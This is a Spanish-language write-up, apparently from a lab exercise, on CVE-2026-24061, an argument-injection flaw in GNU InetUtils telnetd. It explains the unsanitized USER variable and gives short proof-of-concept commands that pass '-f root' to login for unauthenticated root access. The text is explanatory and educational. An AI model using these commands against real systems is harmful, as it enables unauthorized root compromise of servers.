
GNU-InetUtils-telnetd Vulnerabilidad de omisión de autenticación
CVE-2026–24061 es una debilidad crítica en el servicio telnetd de GNU InetUtils
ID de CVE : CVE-2026–24061
Gravedad : Crítica (CVSS 9.8)
Vector de ataque : Red
Autenticación requerida : Ninguna
Impacto : Compromiso total del sistema (acceso root)
La vulnerabilidad se origina por un manejo inadecuado de la variable de entorno USER durante la configuración de la sesión Telnet, este valor se reenvía directamente a la lista de argumentos de /usr/bin/login sin ninguna sanitización ni validación y, como resultado, un atacante remoto puede manipular esta entrada para inyectar opciones de línea de comandos, evitando la autenticación y obteniendo una shell root al instante
El siguiente fragmento de telnetd/utility_file.c muestra cómo los valores suministrados por el usuario se usaban directamente sin validación:
case 'h':
return xstrdup (remote_hostname);
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
Problema :
Los valores controlados por el usuario USER, terminaltype y line se usan sin validación. Se copian directamente en estructuras internas
Dado que estos valores pueden ser influenciados por un cliente remoto a través del protocolo Telnet, esto crea un punto de inyección crítico
Flujo de ataque :
Prueba de concepto
Una prueba de concepto mínima demuestra cómo explotar la vulnerabilidad:
USER='-f root' telnet -a <ipaddr>
telnet -l -'f root' ip_addr
Este comando inyecta un valor USER malicioso durante el handshake de Telnet, lo que puede resultar en acceso root no autorizado en sistemas vulnerables
Completé un laboratorio que involucra CVE-2026–24061, donde exploté la vulnerabilidad usando telnet -l '-f root' 176.16.2.153 para inyectar argumentos maliciosos y lograr una omisión de autenticación, obteniendo finalmente acceso a nivel root en el sistema objetivo

Qué sucede internamente :
1 - l : se refiere al nombre de inicio de sesión
2 - '-f root': valor pasado como nombre de usuario, (-f : sin verificación de contraseña - omitir autenticación), (root: usuario objetivo))
3 - El servidor vulnerable no realiza sanitización
4 - Interpreta -f como una bandera en lugar de parte de un nombre de usuario
Esto me permitió inyectar argumentos maliciosos, omitir la autenticación y obtener acceso a nivel root en el sistema objetivo
Resumen técnico
La falla reside en cómo telnetd maneja la opción NEW_ENVIRON de Telnet. Permite que un cliente defina variables de entorno que se pasan al binario /usr/bin/login del sistema. Debido a que telnetd no sanitiza la variable USER, un atacante puede inyectar la bandera -f (forzar inicio de sesión), que le indica a la utilidad de inicio de sesión que omita la verificación de contraseña y conceda inmediatamente una sesión para el usuario especificado (normalmente root)